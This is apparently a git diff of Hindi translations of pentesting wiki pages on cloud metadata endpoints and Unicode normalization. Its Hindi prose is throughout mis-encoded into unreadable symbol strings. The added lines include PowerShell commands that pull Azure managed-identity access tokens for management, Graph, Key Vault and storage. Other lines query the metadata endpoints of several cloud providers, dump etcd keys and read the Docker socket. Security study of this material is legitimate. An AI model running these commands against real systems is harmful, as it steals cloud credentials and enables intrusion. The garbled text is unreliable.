рд╣реБрдИ рдкрд╣рдЪрд╛рдиреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** (рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╣реА Azure рдЯреЗрдиреЗрдЯ рдореЗрдВ рдХрд┐рд╕реА рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ) +> - **az cli** рдХреЗ рд╕рд╛рде **рдЬреБрдбрд╝реА рд╣реБрдИ рдкрд╣рдЪрд╛рдиреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** (рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╕реЗ Azure рдЯреЗрдиреЗрдЯ рдореЗрдВ рдХрд┐рд╕реА рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ) > > ```bash > az vm identity show \ @@ -362,14 +362,14 @@ curl http://169.254.169.254/metadata/v1.json | jq > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > -> - рдЯреЗрдиреЗрдЯ рдореЗрдВ **рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╕рднреА** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ **рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕** рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЙрдирдореЗрдВ рд╕реЗ рдХреЛрдИ VM рд╕реЗ рдЬреБрдбрд╝реА рд╣реБрдИ рд╣реИ: +> - рдЯреЗрдиреЗрдЯ рдореЗрдВ рд╕рднреА рдкрд░рд┐рднрд╛рд╖рд┐рдд рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЛрдВ рдХреЛ **рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ VM рд╕реЗ рдЬреБрдбрд╝реА рд╣реБрдИ рд╣реИ: > > ```bash > az identity list > ``` > [!CAUTION] -> рдЯреЛрдХрди рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ `object_id`, `client_id` рдпрд╛ `msi_res_id` рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЬрд┐рд╕ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). рдпрджрд┐ рдХреЛрдИ рдирд╣реАрдВ, рддреЛ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ MI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред +> рдЯреЛрдХрди рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ `object_id`, `client_id` рдпрд╛ `msi_res_id` рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рднреА рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдЖрдк рдХрд┐рд╕ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). рдпрджрд┐ рдХреЛрдИ рдирд╣реАрдВ, рддреЛ **рдбрд┐рдлрд╝реЙрд▓реНрдЯ MI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред {{#tabs}} {{#tab name="Bash"}} @@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http: $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -# Paths +## Get management token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token + +## Get graph token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token + +## Get vault token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token + +## Get storage token +(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token + + +# More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text @@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08 {{#endtab}} {{#tab name="PS"}} -```powershell +```bash # Define the API version $API_VERSION = "2019-08-01" @@ -535,15 +548,15 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` -рдиреАрдЪреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдХрд╛ рд╡рд┐рд╡рд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рд░рдирдЯрд╛рдЗрдо рдЬрд╛рдирдХрд╛рд░реА рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдЕрдкрдиреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрджреНрд╡рд┐рддреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +рдиреАрдЪреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдЙрди рддрд░реАрдХреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдФрд░ рд░рдирдЯрд╛рдЗрдо рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдо рдЕрджреНрд╡рд┐рддреАрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕рдХреА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗред ## Packetcloud -Packetcloud рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) +Packetcloud рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдпрд╣рд╛рдБ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace -рдпрд╣рд╛рдБ рд╣реЗрдбрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдпрд╣рд╛рдБ рд╣реЗрдбрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: - `http://169.254.169.254/openstack` @@ -555,7 +568,7 @@ Packetcloud рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ ## Oracle Cloud -Oracle Cloud рд╡рд┐рднрд┐рдиреНрди рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд╣рд▓реБрдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: +Oracle Cloud рд╡рд┐рднрд┐рдиреНрди рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд╣рд▓реБрдУрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` @@ -564,7 +577,7 @@ Oracle Cloud рд╡рд┐рднрд┐рдиреНрди рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд╣рд▓реБрдУрдВ ## Alibaba -Alibaba рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдЫрд╡рд┐ рдЖрдИрдбреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +Alibaba рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЙрджрд╛рд╣рд░рдг рдФрд░ рдЫрд╡рд┐ рдЖрдИрдбреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` @@ -572,7 +585,7 @@ Alibaba рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП ## Kubernetes ETCD -Kubernetes ETCD API рдХреБрдВрдЬреА, рдЖрдВрддрд░рд┐рдХ IP рдкрддреЗ рдФрд░ рдкреЛрд░реНрдЯ рд░рдЦ рд╕рдХрддрд╛ рд╣реИред рдкрд╣реБрдБрдЪ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЧрдИ рд╣реИ: +Kubernetes ETCD API рдХреБрдВрдЬреА, рдЖрдВрддрд░рд┐рдХ IP рдкрддреЗ рдФрд░ рдкреЛрд░реНрдЯ рд░рдЦ рд╕рдХрддрд╛ рд╣реИред рдкрд╣реБрдВрдЪ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реИ: - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` @@ -581,7 +594,7 @@ Kubernetes ETCD API рдХреБрдВрдЬреА, рдЖрдВрддрд░рд┐рдХ IP рдкрддреЗ рдФрд░ рдк Docker рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХрдВрдЯреЗрдирд░ рдФрд░ рдЫрд╡рд┐ рдЬрд╛рдирдХрд╛рд░реА рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдг рджрд┐рдП рдЧрдП рд╣реИрдВ: -- Docker рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдВрдЯреЗрдирд░реЛрдВ рдФрд░ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг: +- Docker рд╕реЙрдХреЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдВрдЯреЗрдирд░реЛрдВ рдФрд░ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░рд▓ рдЙрджрд╛рд╣рд░рдг: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░, Docker рд╕реЙрдХреЗрдЯ рдХреЗ рд╕рд╛рде curl рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` @@ -589,7 +602,7 @@ Docker рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ ## Rancher -Rancher рдХрд╛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +Rancher рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: - `curl http://rancher-metadata//` diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index ea28e44d2..2d52b21fe 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -6,26 +6,26 @@ ## Unicode рдФрд░ Normalization рдХреЛ рд╕рдордЭрдирд╛ -Unicode normalization рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдмрд╛рдЗрдирд░реА рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдПрдХ рд╣реА рдмрд╛рдЗрдирд░реА рдорд╛рди рдореЗрдВ рдорд╛рдирдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдФрд░ рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Unicode рдорд╛рдирдХ рд╡рд░реНрдг рд╕рдордХрдХреНрд╖рддрд╛ рдХреЗ рджреЛ рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ: +Unicode normalization рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдмрд╛рдЗрдирд░реА рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдПрдХ рд╣реА рдмрд╛рдЗрдирд░реА рдорд╛рди рдореЗрдВ рдорд╛рдирдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдФрд░ рдбреЗрдЯрд╛ рдкреНрд░реЛрд╕реЗрд╕рд┐рдВрдЧ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддреЗ рд╕рдордп рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Unicode рдорд╛рдирдХ рджреЛ рдкреНрд░рдХрд╛рд░ рдХреА рд╡рд░реНрдг рд╕рдордХрдХреНрд╖рддрд╛ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ: 1. **Canonical Equivalence**: рд╡рд░реНрдгреЛрдВ рдХреЛ рдХреИрдиреЛрдирд┐рдХрд▓ рд░реВрдк рд╕реЗ рд╕рдордХрдХреНрд╖ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдпрджрд┐ рдЙрдирдХрд╛ рдкреНрд░рд┐рдВрдЯ рдпрд╛ рдбрд┐рд╕реНрдкреНрд▓реЗ рдкрд░ рдПрдХ рд╣реА рд░реВрдк рдФрд░ рдЕрд░реНрде рд╣реЛрддрд╛ рд╣реИред -2. **Compatibility Equivalence**: рд╕рдордХрдХреНрд╖рддрд╛ рдХрд╛ рдПрдХ рдХрдордЬреЛрд░ рд░реВрдк рдЬрд╣рд╛рдБ рд╡рд░реНрдг рдПрдХ рд╣реА рдЕрдореВрд░реНрдд рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +2. **Compatibility Equivalence**: рд╕рдордХрдХреНрд╖рддрд╛ рдХрд╛ рдПрдХ рдХрдордЬреЛрд░ рд░реВрдк рдЬрд╣рд╛рдБ рд╡рд░реНрдг рдПрдХ рд╣реА рдЕрдореВрд░реНрдд рд╡рд░реНрдг рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред -рдЪрд╛рд░ **Unicode normalization рдПрд▓реНрдЧреЛрд░рд┐рджрдо** рд╣реИрдВ: NFC, NFD, NFKC, рдФрд░ NFKDред рдкреНрд░рддреНрдпреЗрдХ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреИрдиреЛрдирд┐рдХрд▓ рдФрд░ рд╕рдВрдЧрддрддрд╛ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [Unicode.org](https://unicode.org/) рдкрд░ред +рдЪрд╛рд░ **Unicode normalization рдПрд▓реНрдЧреЛрд░рд┐рджрдо** рд╣реИрдВ: NFC, NFD, NFKC, рдФрд░ NFKDред рдкреНрд░рддреНрдпреЗрдХ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреИрдиреЛрдирд┐рдХрд▓ рдФрд░ рд╕рдВрдЧрддрддрд╛ рдорд╛рдирдХреАрдХрд░рдг рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрд▓рдЧ-рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЗрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [Unicode.org](https://unicode.org/) рдкрд░ред ### Unicode Encoding рдкрд░ рдореБрдЦреНрдп рдмрд┐рдВрджреБ Unicode encoding рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдпрд╛ рднрд╛рд╖рд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЗрдВрдЯрд░рдСрдкрд░реЗрдмрд┐рд▓рд┐рдЯреА рдореБрджреНрджреЛрдВ рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╕рдордпред рдпрд╣рд╛рдБ рдореБрдЦреНрдп рдмрд┐рдВрджреБ рд╣реИрдВ: -- **рдХреЛрдб рдкреЙрдЗрдВрдЯ рдФрд░ рд╡рд░реНрдг**: Unicode рдореЗрдВ, рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рдпрд╛ рдкреНрд░рддреАрдХ рдХреЛ рдПрдХ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ "рдХреЛрдб рдкреЙрдЗрдВрдЯ" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред -- **рдмрд╛рдЗрдЯреНрд╕ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡**: рдХреЛрдб рдкреЙрдЗрдВрдЯ (рдпрд╛ рд╡рд░реНрдг) рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, LATIN-1 рд╡рд░реНрдг (рдЕрдВрдЧреНрд░реЗрдЬреА рдмреЛрд▓рдиреЗ рд╡рд╛рд▓реЗ рджреЗрд╢реЛрдВ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп) рдХреЛ рдПрдХ рдмрд╛рдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрд┐рди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╡рд░реНрдгреЛрдВ рдХрд╛ рдмрдбрд╝рд╛ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЙрдиреНрд╣реЗрдВ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +- **рдХреЛрдб рдкреЙрдЗрдВрдЯ рдФрд░ рд╡рд░реНрдг**: Unicode рдореЗрдВ, рдкреНрд░рддреНрдпреЗрдХ рд╡рд░реНрдг рдпрд╛ рдкреНрд░рддреАрдХ рдХреЛ рдПрдХ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ "рдХреЛрдб рдкреЙрдЗрдВрдЯ" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +- **рдмрд╛рдЗрдЯреНрд╕ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡**: рдХреЛрдб рдкреЙрдЗрдВрдЯ (рдпрд╛ рд╡рд░реНрдг) рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдмрд╛рдЗрдЯреНрд╕ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, LATIN-1 рд╡рд░реНрдг (рдЕрдВрдЧреНрд░реЗрдЬреА рдмреЛрд▓рдиреЗ рд╡рд╛рд▓реЗ 